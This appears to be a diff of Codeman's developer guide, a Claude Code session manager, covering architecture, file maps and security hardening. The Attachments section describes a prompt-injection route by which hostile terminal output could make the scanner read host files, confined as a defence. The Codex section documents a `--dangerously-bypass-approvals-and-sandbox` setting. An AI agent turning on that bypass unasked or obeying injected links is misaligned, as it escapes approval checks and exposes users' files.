- **Multi-CLI prefix discipline** — Codeman supports Claude Code, OpenCode, and Codex (`claude-cli-resolver.ts` / `opencode-cli-resolver.ts` / `codex-cli-resolver.ts`); env-var prefix is CLI-specific (`CLAUDE_CODE_*` vs `OPENCODE_*` vs `CODEX_*`) and the allowlist in `schemas.ts` enforces this. When adding settings, decide which CLI(s) it applies to and gate the env export accordingly — don't blindly forward all prefixes. See `docs/opencode-integration.md` for the OpenCode resolver design
- **Zod `.optional()` rejects `null`** — accepts `undefined` only. When the frontend builds a request body with `JSON.stringify`, an explicit `null` field is preserved on the wire and fails validation with `INVALID_INPUT`. Convert `null` → `undefined` before stringifying (e.g. `field: value ?? undefined`), or declare the schema `.nullish()`. Real bugs caused: 0.6.4 (`durationMinutes` for ∞ respawn), and the same shape pattern hit `opusContext1mEnabled` in 0.6.3
- **`xterm-zerolag-input` is single-source — edit the package, then rebuild the bundle** — the local-echo overlay source lives ONLY in `packages/xterm-zerolag-input/src/` (`zerolag-input-addon.ts`; also published to npm as a standalone library — see README "Published Packages"). It is bundled (esbuild → IIFE, with appended `window.LocalEchoOverlay` aliases) into the **gitignored** `src/web/public/vendor/xterm-zerolag-input.js` by `scripts/postinstall.js` (for dev/`tsx`) and into `dist/.../vendor/` by `scripts/build.mjs:50` (for prod). `app.js` only **consumes** it via `new LocalEchoOverlay(terminal)` — there is NO inline copy to keep in sync. So: change behavior in the package source, then re-run the bundle step (`npm install` reruns postinstall; `npm run build` for prod); **never hand-edit `app.js` for overlay behavior or commit the gitignored vendor bundle**. A public-API break in the package still warrants a separate `xterm-zerolag-input` version bump in the changeset. Always test on mobile after touching it. See `docs/local-echo-overlay-plan.md`.
- **Default bind is loopback-only; non-loopback without a password starts but warns** — since COD-29 (PR #107) the web server defaults to `--host 127.0.0.1` (was `0.0.0.0`). As of **0.9.0** binding a non-loopback host (`--host`/`-H`/`CODEMAN_HOST`) without `CODEMAN_PASSWORD` **no longer refuses to start — it starts and prints a loud warning** listing the fixes (set `CODEMAN_PASSWORD`, bind loopback + tunnel/`tailscale serve`, or `--allow-unauthenticated-network` / `CODEMAN_ALLOW_UNAUTHENTICATED_NETWORK=1` to acknowledge → terser note). Host classification is `isLoopbackBindHost()` in `network-auth-policy.ts`; the warn-vs-start logic is in `server.ts` `start()`; flags wired in `cli.ts`. ⚠️ Operational note: the production systemd unit runs `node dist/index.js web --https` with no `--host`, so it binds **localhost only** — reach it remotely via `tailscale serve`/tunnel to `127.0.0.1`, or add `Environment=CODEMAN_HOST=0.0.0.0` + `Environment=CODEMAN_PASSWORD=…` to `~/.config/systemd/user/codeman-web.service`. A loopback bind is reachable through a same-host tunnel (cloudflared/tailscale → `127.0.0.1`) but NOT by a browser hitting the box's LAN IP. Auth user defaults to `admin`. **Full model: `docs/security-architecture.md`.**
- **Instance isolation / multi-instance attach danger** — data dir (`~/.codeman`) and tmux socket (`tmux -L codeman`) are PROCESS-WIDE and shared by every Codeman on the machine, derived from `CODEMAN_INSTANCE` via `src/config/instance.ts` (`getDataDir()`/`dataPath()`/`DEFAULT_TMUX_SOCKET`). ⚠️ A 2nd instance on the SAME socket **discovers and attaches PTYs to the first instance's live sessions** (`tmux -L codeman attach-session …`), resizing/mutating them — `$HOME` isolation is NOT enough (tmux is system-global). To run two instances, give each a distinct `CODEMAN_INSTANCE` (scopes BOTH dir+socket: `~/.codeman-<name>` + `-L codeman-<name>`), or set `CODEMAN_TMUX_SOCKET` + `CODEMAN_DATA_DIR` individually. **`CODEMAN_INSTANCE` defaults to empty = the production layout (`~/.codeman`, `-L codeman`, port 3000)**, so this branch is safe to ship to master without disturbing existing installs. To run THIS beta alongside prod, launch with `scripts/run-beta.sh` (`CODEMAN_INSTANCE=beta` + `CODEMAN_PORT=5000`) — it never collides with prod's data dir/socket/port. Any new `~/.codeman/...` path MUST go through `dataPath()`, never `join(homedir(), '.codeman', …)`.
- **Headless screenshots: `deviceScaleFactor` MUST be 1, and write unique filenames** — `scripts/capture-real-overview.mjs` (drives a live session in headless Chromium → overview PNG). Two traps, both observed 2026-06-14: **(1) DSF=2 doubles the console font.** xterm's WebGL renderer draws terminal glyphs at ~2× their nominal size under `deviceScaleFactor: 2`, while STILL reporting nominal cell dims (`terminal.cols`/`_renderService.dimensions.css.cell` say 8px/187cols — they lie), so it's invisible to any internal measurement and only the pixels reveal it. The HTML chrome (header/toolbar) is unaffected → ONLY the console font looks comically large. Default to **DSF=1** (script does); the image is 1× res but the font is true-to-browser. **(2) Stable filenames → stale renders.** Overwriting a fixed path (`claude-overview.png`) in place leaves OS image viewers (eog/feh) — and any HTTP client behind a long/`immutable` cache — showing the OLD render; the user reads it as "the fix didn't work". The script now mints a timestamped `claude-overview-<ts>.png` per run. ⚠️ This was a LOCAL image-viewer cache, NOT a Codeman serving bug: `file-routes` previews send `Cache-Control: no-cache` and `/api/screenshots/:name` sends none. The one real Codeman-side footgun: `server.ts` serves non-content-hashed static assets `public, max-age=31536000, immutable`, and `cacheBustAssets()` only rewrites `.js`/`.css` refs — a stable-named **image** referenced from public/ would go stale on overwrite. Reflect the per-device UI to match a real device when capturing: seed `localStorage` `codeman:skin`, `codeman-font-size`, and the desktop `codeman-app-settings` blob (the plan-usage chip is a per-device display key deleted from the server payload — a fresh browser hides it unless seeded; close side panels for a full-width terminal).
**Import conventions**: Utils from `./utils`, types from `./types` (barrel), config from specific `./config/*` files.
@@ -98,27 +119,29 @@ Codeman is a Claude Code session manager with web interface and autonomous Ralph
| Domain | Key files | Notes |
|--------|-----------|-------|
| **Entry** | `src/index.ts`, `src/cli.ts` | |
| **Session** | `src/session.ts` ★, `src/session-manager.ts`, `src/session-auto-ops.ts`, `src/session-cli-builder.ts` | |
| **Mux** | `src/mux-interface.ts`, `src/mux-factory.ts`, `src/tmux-manager.ts` | |
| **Session** | `src/session.ts` ★, `src/session-manager.ts`, `src/session-auto-ops.ts`, `src/session-cli-builder.ts`, `src/session-lifecycle-log.ts`, `src/session-task-cache.ts`, `src/usage-limit-patterns.ts`, `src/usage-telemetry.ts` | |
| **Mux** | `src/mux-interface.ts`, `src/mux-factory.ts`, `src/tmux-manager.ts` ★ | |
| **Respawn** | `src/respawn-controller.ts` ★ + 4 helpers (`-adaptive-timing`, `-health`, `-metrics`, `-patterns`) | Read `docs/respawn-state-machine.md` first |
| **Ralph** | `src/ralph-tracker.ts` ★, `src/ralph-loop.ts` + 5 helpers (`-config`, `-fix-plan-watcher`, `-plan-tracker`, `-stall-detector`, `-status-parser`) | Read `docs/ralph-wiggum-guide.md` first |
| **Agents** | `src/subagent-watcher.ts` ★, `src/team-watcher.ts`, `src/bash-tool-parser.ts`, `src/transcript-watcher.ts` | |
| **Orchestrator** | `src/orchestrator-loop.ts`, `src/orchestrator-planner.ts`, `src/orchestrator-verifier.ts` | Read `docs/orchestrator-loop-architecture.md` first |
| **Agents** | `src/subagent-watcher.ts` ★, `src/team-watcher.ts`, `src/bash-tool-parser.ts`, `src/transcript-watcher.ts`, `src/workflow-run-watcher.ts` | `workflow-run-watcher` is STANDALONE (never touches `subagent-watcher`) — see Key Patterns |
| **AI** | `src/ai-checker-base.ts`, `src/ai-idle-checker.ts`, `src/ai-plan-checker.ts` | |
| **Tasks** | `src/task.ts`, `src/task-queue.ts`, `src/task-tracker.ts` | |
| **State** | `src/state-store.ts`, `src/run-summary.ts`, `src/session-lifecycle-log.ts` | |
| **Infra** | `src/hooks-config.ts`, `src/push-store.ts`, `src/tunnel-manager.ts`, `src/image-watcher.ts`, `src/file-stream-manager.ts` | |
| **Plan** | `src/plan-orchestrator.ts`, `src/prompts/*.ts`, `src/templates/claude-md.ts` | |
| **Web** | `src/web/server.ts`, `src/web/sse-events.ts`, `src/web/routes/*.ts` (13 modules), `src/web/ports/*.ts`, `src/web/middleware/auth.ts`, `src/web/schemas.ts` | |
| **Frontend** | `src/web/public/app.js` ★ (~11.7K lines) + 9 JS modules | |
| **Types** | `src/types/index.ts` → 14 domain files | See `@fileoverview` in index.ts |
| **Attachments** | `src/attachment-registry.ts`, `src/attachment-magic.ts`, `src/session-attachment-history.ts`, `src/document-preview-cache.ts`, `src/document-thumbnailer.ts`, `src/document-conversion-limiter.ts`, `src/config/attachment-guard.ts` | See Key Patterns |
| **Plan** | `src/plan-orchestrator.ts`, `src/prompts/*.ts`, `src/templates/` (`claude-md.ts` + `case-template.md`, the CLAUDE.md scaffold generated into new cases) | |
| **Web** | `src/web/server.ts` ★, `src/web/sse-events.ts`, `src/web/routes/*.ts` (16 route modules + barrel; `session-routes.ts` ★), `src/web/route-helpers.ts`, `src/web/ports/*.ts`, `src/web/middleware/auth.ts`, `src/web/schemas.ts`, `src/web/self-update.ts`, `src/web/plan-usage-latest.ts` | |
| **Frontend** | `src/web/public/app.js` (~3.9K lines, core) + 6 infra modules (`constants.js`, `mobile-handlers.js`, `voice-input.js`, `notification-manager.js`, `keyboard-accessory.js`, `sanitize-html.js` — DOMPurify mXSS allowlist, COD-56) + 8 domain modules (`terminal-ui.js`, `respawn-ui.js`, `ralph-panel.js`, `orchestrator-panel.js`, `ultracode-panel.js`, `settings-ui.js`, `panels-ui.js`, `session-ui.js`) + 6 feature modules (`ralph-wizard.js`, `api-client.js`, `subagent-windows.js`, `ultracode-windows.js`, `input-cjk.js`, `image-input.js`) + `sw.js` | `ultracode-windows.js` = floating run windows w/ tab connector lines (additional to the dock panel) |
| **Types** | `src/types/index.ts` (barrel) → 16 domain files (incl. `workflow-run.ts`); also `src/types.ts` root re-export | See `@fileoverview` in index.ts |
★ = Large file (>50KB). All files have `@fileoverview` JSDoc — read that before diving in.
★ = Large, central file (>50KB) — read its `@fileoverview` first. All files have `@fileoverview` JSDoc — read that before diving in. Discovery aid: `grep -l '@fileoverview' src/web/routes/*.ts` lists all route modules; same grep works for `src/types/`, `src/web/public/*.js`.
**Local package**: `packages/xterm-zerolag-input/` — local echo overlay for xterm.js; copy embedded in `app.js`.
**Local packages**: `packages/xterm-zerolag-input/` — local echo overlay for xterm.js; single-source, bundled to the gitignored `vendor/xterm-zerolag-input.js` and consumed by `app.js` (see Gotchas). `packages/gesture-control/` (`codeman-gesture-control`) — hand-tracking overlay source; built to `src/web/public/gesture/gesture-codeman.js` via `npm run build:gesture` (see Frontend → Gesture control).
**Config**: `src/config/` — 9 files. Import from specific files, not barrel.
**Config**: `src/config/` — 14 files, no barrel (`index.ts`) exists; import from the specific file.
**Utilities**: `src/utils/` — re-exported via index. Key: `CleanupManager`, `LRUMap`, `StaleExpirationMap`, `BufferAccumulator`, `stripAnsi`, `Debouncer`.
**Utilities**: `src/utils/` — re-exported via index. Key: `CleanupManager`, `LRUMap`, `StaleExpirationMap`, `BufferAccumulator`, `stripAnsi`, `Debouncer`, `KeyedDebouncer`. Also: `claude-cli-resolver`/`opencode-cli-resolver`/`codex-cli-resolver` (CLI path resolution), `string-similarity` (fuzzy matching), `regex-patterns` (ANSI/token/spinner patterns), `assertNever` (exhaustive checks), `token-validation` (auth tokens), `nice-wrapper` (process priority).
### Data Flow
@@ -133,81 +156,113 @@ Codeman is a Claude Code session manager with web interface and autonomous Ralph
**Idle detection**: Multi-layer (completion message → AI check → output silence → token stability). See `docs/respawn-state-machine.md`.
**Hook events**: Claude Code hooks trigger via `/api/hook-event`. Key events: `permission_prompt`, `elicitation_dialog`, `idle_prompt`, `stop`, `teammate_idle`, `task_completed`. See `src/hooks-config.ts`.
**Auto-resume on usage limit** ("token pause" control, opt-in per session, top of the Respawn tab): when Claude halts on a subscription limit ("5-hour limit reached ∙ resets 8pm" and all 1.0.x–2.1.x variants), `usage-limit-patterns.ts` (pure, unit-tested) parses the reset time from cleaned output; `SessionAutoOps` arms a timer for reset+2min, then sends Esc (dismisses the rate-limit dialog) + `continue`. Still-limited responses re-arm the loop (5-min retry on stale times); a `working` transition cancels it. Claude-mode only (detection rides `_processExpensiveParsers`). Persists/recovers via `SessionState.autoResumeEnabled`/`autoResumeAt`; respawn cycles are blocked while paused (`isLimitPaused` guard in `onIdleDetected` — prevents `/clear` from wiping the paused conversation). Endpoint: `POST /api/sessions/:id/auto-resume`; SSE: `session:limitPauseScheduled`/`limitResume`/`limitResumeCancelled`. Tests: `test/usage-limit-patterns.test.ts`, `test/session-auto-resume.test.ts`.
**Agent Teams**: `TeamWatcher` polls `~/.claude/teams/`, matches to sessions via `leadSessionId`. Teammates are in-process threads appearing as subagents. Enable: `CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS=1`. See `agent-teams/`.
**Plan-usage chip** (statusLine telemetry, opt-in `showPlanUsageLimits`, default OFF): Claude Code (v2.1.80+) pipes a JSON blob to a configured `statusLine.command` on each render; on Pro/Max it carries a `rate_limits` object (`five_hour`/`seven_day` windows only — no Opus weekly field — each `{used_percentage 0-100, resets_at epoch-SECONDS}`). Codeman injects its OWN statusLine exporter (`generateStatusLineCommand()` in `hooks-config.ts`, identified by the `/api/status-telemetry` marker — it only ever adds/updates/removes a statusLine that is *ours*, never a user's hand-authored one) that POSTs the blob to `POST /api/status-telemetry`. That route (auth-exempt like `/api/hook-event` — localhost-only, hook-secret-gated under a tunnel) parses via `usage-telemetry.ts` (pure, unit-tested), broadcasts SSE `session:statusTelemetry` (de-duped per session by `telemetrySignature` since the statusline fires on every assistant message), and returns a compact plain-text footer for the exporter to **print-through** (so injecting our statusLine doesn't blank the in-terminal footer). `plan-usage-latest.ts` holds the process-wide last value, replayed in the SSE init snapshot (`getLightState`) so the header chip (`#planUsageChip`, toggled by `showPlanUsageLimits` in settings-ui.js) renders immediately on page load / reconnect without per-browser localStorage. Claude-mode only. **Distinct from auto-resume** (which reacts to the limit *message*; this proactively shows the live %). Design: `docs/usage-limits-display-plan.md`. Tests: `test/usage-telemetry.test.ts`.
**Orchestrator**: State machine that turns a user goal into a phased plan and drives it to completion: `idle → planning → approval → executing → verifying → (replanning) → completed/failed`. `OrchestratorLoop` (engine) delegates plan generation to `orchestrator-planner` and per-phase verification gates to `orchestrator-verifier`, executing phases via team agents/`task-queue`. State persists under the `orchestrator` key in `state.json`. Distinct from Ralph (single-session autonomous loop) — orchestrator coordinates multi-phase, multi-agent execution. See `docs/orchestrator-loop-architecture.md`.
**External CLI modes (OpenCode, Codex)**: `isExternalCliMode()` in `session.ts` gates Claude-specific behavior — Ralph tracker, BashToolParser, token/CLI-info parsing, and ❯-prompt readiness detection are all skipped (these CLIs render their own TUIs; readiness = output stabilization instead). Both modes **require tmux — no direct PTY fallback** — because secrets are injected via `tmux setenv`, never on the spawn command line: OpenCode gets `OPENCODE_CONFIG_CONTENT` etc., Codex gets `OPENAI_API_KEY`/`CODEX_API_KEY`/`CODEX_HOME` (`setCodexEnvVars` in `tmux-manager.ts`). Codex specifics: command built by `buildCodexCommand()` (`--model`, `resume <id>`, `--dangerously-bypass-approvals-and-sandbox` from the `codexConfig` payload / `codexDangerouslyBypassApprovals` app setting; `renderMode` is schema-coerced to `'hybrid'`, the only supported mode); tmux exports `COLORTERM=truecolor` + unsets `NO_COLOR` (other modes unset `COLORTERM`); availability via `GET /api/codex/status` — session/quick-start routes fail with `OPERATION_FAILED` and an install hint (`npm install -g @openai/codex`) when the binary is missing. Frontend: run-mode dropdown → `runCodex()` in `session-ui.js` ("Run CX" label), App Settings → Codex CLI tab; Respawn/Ralph options are Claude-only, so session options open on the Summary tab for external CLI sessions. Tests: `test/run-mode-ui.test.ts` (vm-sandbox harness, no real DOM).
**Hook events**: Claude Code hooks trigger via `/api/hook-event`. Key events: `permission_prompt`, `elicitation_dialog`, `idle_prompt`, `stop`, `teammate_idle`, `task_completed`. See `src/hooks-config.ts`; upstream hook semantics mirrored in `docs/claude-code-hooks-reference.md`.
**Agent Teams**: `TeamWatcher` polls `~/.claude/teams/`, matches to sessions via `leadSessionId`. Teammates are in-process threads appearing as subagents. Enable: `CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS=1`. See `docs/agent-teams/`.
**Circuit breaker**: Prevents respawn thrashing. States: `CLOSED` → `HALF_OPEN` → `OPEN`. Reset: `/api/sessions/:id/ralph-circuit-breaker/reset`.
**Self-update** (App Settings → Updates): in-app updater for **git-clone installs** supervised by systemd/launchd. Supervisors: `systemd` (user unit), `launchd` (GUI LaunchAgent, gui-domain kickstart), `launchd-daemon` (KeepAlive system LaunchDaemon on headless Macs — restarts rootlessly by killing the server PID and letting launchd respawn it; detected only when the daemon is bootstrapped AND KeepAlive), else `none` → "restart manually" message; on next boot a manual-restart status auto-completes when the running version matches the target. The update restarts the very process running it, so the real work runs in a DETACHED `scripts/self-update.sh` (`git checkout <release tag> && npm install && npm run build && restart`) that outlives the restart; it writes progress to `dataPath('update-status.json')`, which the browser polls across the connection drop. Channel = latest `codeman@X.Y.Z` release tag; dirty trees are auto-stashed. `src/web/self-update.ts` splits PURE helpers (semver/tag parsing, reconcile decision — unit-tested) from IO wrappers (`getInstallInfo`/`checkForUpdate`/`startUpdate`/`reconcileUpdateOnBoot`). Routes: `GET /api/system/update/check`, `POST /api/system/update`, `GET /api/system/update/status`. Types: `src/types/update.ts`. npm installs report as non-updatable.
**Attachments** (live external document references; COD-37/#119 core, COD-38/#120 previews, COD-39/#121 history): all wiring in `file-routes.ts`. **Registry** (`attachment-registry.ts`): an **in-memory** map of a stable `attachmentId` → an absolute, `realpath`-resolved, extension-allowlisted file path, so browser requests (`GET /api/sessions/:id/attachments/:attachmentId/raw`) never carry arbitrary absolute paths; `POST /api/sessions/:id/attachments` registers one. **Magic links** (`attachment-magic.ts`): parses `codeman://attach?...` out of terminal output — ⚠️ this scanner is prompt-injectable, so the scan path is **force-confined to the session workspace** (a hostile prompt could otherwise make it read arbitrary host files over SSE); emits the `attachment:detected` SSE event. Security gate is an extension **allowlist** (`isSupportedAttachmentExtension`, in the registry/magic modules), not a blocklist; a separate path layer (`config/attachment-guard.ts`) confines reads to the workspace (`attachmentConfineToWorkspace`) and blocks sensitive trees (`/root`, `/etc`). **Previews + thumbnails** (COD-38): `:attachmentId/preview` + `:attachmentId/thumbnail` (and the workspace-file equivalents `file-preview`/`file-thumbnail`) render Office docs/PDFs via external converters (`pdftoppm` / LibreOffice `soffice` / Word-COM `powershell`); `document-preview-cache.ts` is a shared disk cache (de-dups *identical* in-flight inputs), `document-thumbnailer.ts` does best-effort first-page images, and `document-conversion-limiter.ts` is a **global converter-spawn concurrency cap** (`runWithConversionLimit`) — without it, N distinct large docs detected at once fork N multi-minute converter processes = a localhost fork-bomb-shaped resource-exhaustion vector. **History drawer** (COD-39): `session-attachment-history.ts` tracks the last `ATTACHMENT_HISTORY_LIMIT` (100) attachments per session (`Session._attachmentHistory`, persisted via `SessionState.attachmentHistory`, replayed so externals re-register on reconnect); `GET /api/sessions/:id/attachments` is the list endpoint. ⚠️ The history drawer's launcher button is desktop-only — hidden on phones (regression-guarded; see `mobile-header-buttons-policy` test). Session-local files keep using the existing workspace-scoped `file-routes` paths; the registry is only for explicit live externals.
**Ultracode / Workflow-run visualization** (opt-in `showUltracodeAgents`, default OFF; released 1.1.2): the Workflow tool ("ultracode") writes a run-state JSON per run at `~/.claude/projects/<projHash>/<sessionUuid>/workflows/wf_*.json`. `workflow-run-watcher.ts` (STANDALONE — deliberately never imports/touches `subagent-watcher.ts`; disjoint directory tree, separate singleton) globs that tree via periodic poll + per-run chokidar watcher with per-file mtime skip, and broadcasts SSE `workflow:run_discovered`/`run_updated`/`run_removed`. The watcher is only started when the setting is on (`server.ts` gates on `showUltracodeAgents`). Served via `GET /api/workflows` (optional `?minutes=` filter) and `GET /api/workflows/:runId`. Frontend `ultracode-panel.js` renders a docked master-detail view (LEFT: runs + phases; RIGHT: per-agent tokens + tool-calls; click an agent card → its live transcript via client-side `agentId` join). **Additionally**, `ultracode-windows.js` auto-pops a draggable **floating window per active run** (gated on the same `showUltracodeAgents` setting), connected by a glowing line to the originating session tab (resolved by `session.claudeSessionId === run.sessionUuid`) — same line idiom as subagent windows, drawn into the shared `#connectionLines` SVG from the tail of `_updateConnectionLinesImmediate`. The window auto-closes ~8s after its run finishes; explicit dismissals are remembered. Types: `src/types/workflow-run.ts`. Config: `src/config/workflow-config.ts`.
**Port interfaces**: Routes declare dependencies via port interfaces (`src/web/ports/`). Routes use intersection types (e.g., `SessionPort & EventPort`).
### Frontend
Frontend JS modules have `@fileoverview` with `@dependency`/`@loadorder` tags. Load order: `constants.js`(1) → `mobile-handlers.js`(2) → `voice-input.js`(3) → `notification-manager.js`(4) → `keyboard-accessory.js`(5) → `app.js`(6) → `ralph-wizard.js`(7) → `api-client.js`(8) → `subagent-windows.js`(9).
Frontend JS modules have `@fileoverview` with `@dependency`/`@loadorder` tags. Load order: `constants.js`(1) → `mobile-handlers.js`(2) → `voice-input.js`(3) → `notification-manager.js`(4) → `keyboard-accessory.js`(5) → `input-cjk.js`(5.5) → `sanitize-html.js`(5.6) → `app.js`(6) → `terminal-ui.js`(7) → `respawn-ui.js`(8) → `ralph-panel.js`(9) → `orchestrator-panel.js`(9.5) → `settings-ui.js`(10) → `panels-ui.js`(11) → `ultracode-panel.js`(11.5) → `session-ui.js`(12) → `ralph-wizard.js`(13) → `api-client.js`(14) → `subagent-windows.js`(15) → `ultracode-windows.js`(15.5) → `image-input.js`(16). `input-cjk.js` handles CJK IME composition via an always-visible textarea below the terminal (`window.cjkActive` blocks xterm's onData).
**Z-index layers**: subagent windows (1000), plan agents (1100), log viewers (2000), image popups (3000), local echo overlay (7).
**Z-index layers**: subagent windows (1000), plan agents (1100), mobile/tablet fixed header (1200, `mobile.css`), modals on ≤768px (1300 — must beat the fixed header or the modal close button is buried; bug fixed in `b8cb467`), log viewers (2000), image popups (3000), local echo overlay (7).
**Multi-monitor button** (header, top-right; the notification bell it sits beside stays hidden — notifications live in Settings → Notifications). `app.launchMultiMonitor()` (in `panels-ui.js`) POSTs `/api/system/span-displays`, which spawns `scripts/span-codeman.sh` — a fresh, maximized browser `--app` window sized to the union of all displays (macOS; needs "Displays have separate Spaces" OFF). Supports the gesture layer's in-page floating session panels dragging across the physical monitor seam. **Opt-in:** hidden by default; enable under App Settings → Display → **Header Displays** ("Multi-monitor Button", `showMultiMonitorButton`). The button carries a `btn-multimonitor--hidden` class in the template; `renderIndexHtml` strips that class at render when the setting is on (a unique class token, not a brittle match on the aria-label/style copy), and `applyHeaderVisibilitySettings()` toggles the same class live on save. Solo (detached) windows hide it via `body.solo-mode`.
**Response-viewer (eye) button** (header) is likewise **hidden by default** — enable under App Settings → Display → **Response Viewer** (`showResponseViewer`). Purely client-side (no `renderIndexHtml` step): the template ships with `btn-response-viewer-header--hidden` and `applyHeaderVisibilitySettings()` (settings-ui.js) toggles it after settings load. Hiding must go through that marker class — the base rule is `display:inline-flex !important`, so an inline style can't override it. `showResponseViewer` is in the `displayKeys` per-device set (settings-ui.js), so it does NOT sync across devices.
**Gesture control** (the camera hand-tracking overlay) is **opt-in, default OFF**, under App Settings → Display → **Input** (`gestureControlEnabled`). `CODEMAN_GESTURE=1` makes the feature *available* on the instance (CSP widening + `/gesture/` assets) and sets `window.__codemanGestureAvailable` (the Input section only shows when set); the overlay bundle is injected by `renderIndexHtml` **only when the setting is enabled**, so that method is `async` and reads `settings.json` via `readSettings(true)` — the `true` forces a **fresh** read (bypassing the 2s `_settingsCache`), because a post-save reload happens within that TTL and the cached value would otherwise render the pre-toggle state. Toggling the setting reloads the page (the bundle is render-injected).
**Gesture-control source lives in-repo** at `packages/gesture-control/` (workspace package `codeman-gesture-control`, was the standalone `Ark0N/codeman-gesture-control` repo). The transport-agnostic core is `src/gesture/*` (MediaPipe GestureRecognizer → One-Euro-filtered cursor → pinch state machine); `src/codeman/entry.ts` is the Codeman *consumer* that maps grab/drag/drop onto real `.session-tab`/toolbar buttons and is the bundle entry. **Edit there, then run `npm run build:gesture`** (`scripts/build-gesture-bundle.mjs` → esbuild bundles `entry.ts`, MediaPipe JS included, into `src/web/public/gesture/gesture-codeman.js`) and **commit the regenerated bundle** — the committed bundle is what dev/`tsx` serves (no bundler at runtime), and `scripts/build.mjs` reruns the same step so prod always reflects current source. The MediaPipe **wasm + model** are NOT bundled — loaded at runtime from same-origin `/gesture/wasm` + `/gesture/gesture_recognizer.task`, fetched by `scripts/fetch-gesture-assets.mjs` (gitignored, see Gotchas). `entry.ts` mounts `window.__codemanGesture = new GestureBridge()` idempotently at module-eval. A standalone vite playground (`npm run dev` in the package — fake tabs, no Codeman) lets you iterate on gesture *feel* in isolation. ⚠️ Keep `MP_VERSION` in `fetch-gesture-assets.mjs` in sync with `@mediapipe/tasks-vision` in `packages/gesture-control/package.json`.
**Theme skins** (App Settings → Display): the `skin` setting selects a palette via a `data-skin` attribute on `<html>`. Values: `daylight-blue` (default), `daylight-green`, `og` (OG Codeman). CSS lives under `[data-skin="…"]` blocks in `styles.css`. To avoid a flash-of-wrong-theme, an **inline pre-paint script** in `index.html` (`<head>`) reads `localStorage['codeman:skin']` and sets `data-skin` before first paint; `settings-ui.js` `applyTheme()`/`applyTerminalSkin()` apply it live on save and keep the standalone `codeman:skin` key + the settings object in sync. `skin` is a **per-device/client-only** setting — it's destructured OUT of the server payload (settings-ui.js, alongside `localEchoEnabled`/`cjkInputEnabled`/`extendedKeyboardBar`), so it does NOT sync across devices.
**Respawn presets**: `solo-work` (3s/60min), `subagent-workflow` (45s/240min), `team-lead` (90s/480min), `ralph-todo` (8s/480min), `overnight-autonomous` (10s/480min).
**Keyboard shortcuts**: Escape (close), Ctrl+? (help), Ctrl+Enter (quick start), Ctrl+W (kill), Ctrl+Tab (next), Ctrl+K (kill all), Ctrl+L (clear), Ctrl+Shift+R (restore size), Ctrl/Cmd +/- (font).
**Keyboard shortcuts**: Escape (close), Ctrl+? (help), Ctrl+W (kill), Ctrl+Tab (next), Alt+1-9 (switch tab), Ctrl+Shift+{/} (move tab left/right), Shift+Enter (newline), Ctrl+L (clear), Ctrl+Shift+R (restore size), Ctrl+Shift+V (voice input), Ctrl/Cmd +/- (font).
### Security
**Full model: [`docs/security-architecture.md`](docs/security-architecture.md)** — network binding, auth pipeline, the tunnel caveat, file-serving hardening, supply-chain, instance isolation, and recommended secure setups.
| Layer | Details |
|-------|---------|
| **Auth** | Optional HTTP Basic via `CODEMAN_USERNAME`/`CODEMAN_PASSWORD` env vars |
| **Auth** | Optional HTTP Basic via `CODEMAN_USERNAME` (defaults to `admin`) / `CODEMAN_PASSWORD` env vars. Active only when `CODEMAN_PASSWORD` is set (`middleware/auth.ts`) |
| **Network bind** | Defaults to `127.0.0.1` (loopback). A non-loopback bind (`--host`/`CODEMAN_HOST`) without `CODEMAN_PASSWORD` **starts but warns loudly** (0.9.0; was fail-closed in COD-29/#107). `--allow-unauthenticated-network` / `CODEMAN_ALLOW_UNAUTHENTICATED_NETWORK=1` acknowledges the warning. Classifier: `network-auth-policy.ts` |
| **Host guard** | Always-on Host-header allowlist blocks DNS rebinding (RCE on the default no-auth loopback install). Allows loopback, any IP literal, the bind host, `*.ts.net`/`*.trycloudflare.com`/`*.cfargotunnel.com`, the active managed tunnel, and `CODEMAN_ALLOWED_HOSTS`. ⚠️ **Custom reverse-proxy domains are rejected** unless added via `CODEMAN_ALLOWED_HOSTS=host,.suffix`. `registerHostGuard` in `server.ts`; policy in `network-auth-policy.ts` (`buildHostPolicy`/`isAllowedRequestHost`/`isAllowedRequestOrigin`) |
| **CSRF / Origin** | Always-on cross-site Origin guard rejects state-changing requests from foreign origins (covers self-update, session create/input, settings/tunnel toggles). **A missing Origin is allowed** so curl/CLI and Claude Code hooks keep working. The global body parser keeps `text/plain` RAW (no auto-JSON-parse, which had enabled simple-request CSRF); `/api/crash-diag` self-parses. WebSocket upgrade validates Origin+Host (anti-CSWSH) in `ws-routes.ts`. Added in `c669518` (closes 2026-06-09 review CRITICALs) |
| **QR Auth** | Single-use 6-char tokens (60s TTL) for tunnel login. See `docs/qr-auth-plan.md` |
| **Sessions** | 24h cookie (`codeman_session`), auto-extend, device context audit |
| **Rate limit** | 10 failed auth/IP → 429 (15min decay). QR has separate limiter |
| **Hook bypass** | `/api/hook-event` exempt from auth (localhost-only, schema-validated) |
| **Env vars** | `CODEMAN_MUX` (managed session), `CODEMAN_API_URL` (auto-set for hooks) |
| **Validation** | Zod schemas, path allowlist regex, `CLAUDE_CODE_*` env prefix allowlist |
| **Hook bypass** | `/api/hook-event` (and `/api/status-telemetry`, the statusLine exporter) exempt from auth (localhost-only, schema-validated). While the **managed tunnel** runs, the bypass additionally requires the per-instance `X-Codeman-Hook-Secret` header (COD-54, `config/hook-secret.ts`): hook curls cat the secret file at exec time via `$CODEMAN_HOOK_SECRET_FILE` (session env), failures rate-limit in a dedicated bucket (never lock out login). External loopback proxies (own cloudflared/`tailscale serve`) aren't detected — plain bypass still applies there. Tunnel enable also **refuses** without `CODEMAN_PASSWORD` unless `CODEMAN_ALLOW_UNAUTHENTICATED_NETWORK=1` (COD-55) |
| **Env vars** | `CODEMAN_MUX` (managed session), `CODEMAN_API_URL` (auto-set for hooks), `CODEMAN_ALLOWED_HOSTS` (extra Host/Origin allowlist entries for reverse proxies, comma-separated; bare `.suffix` matches subdomains) |
| **Validation** | Zod schemas, path allowlist regex, env prefix allowlist (`CLAUDE_CODE_*`/`OPENCODE_*`/`CODEX_*`) |
| **Headers** | CORS localhost-only, CSP, X-Frame-Options, HSTS if HTTPS |
### SSE Event Registry
~100 event types in `src/web/sse-events.ts` (backend) and `SSE_EVENTS` in `constants.js` (frontend). Both must be kept in sync.
~120 event types in `src/web/sse-events.ts` (backend) and `SSE_EVENTS` in `constants.js` (frontend). Both must be kept in sync.
### API Routes
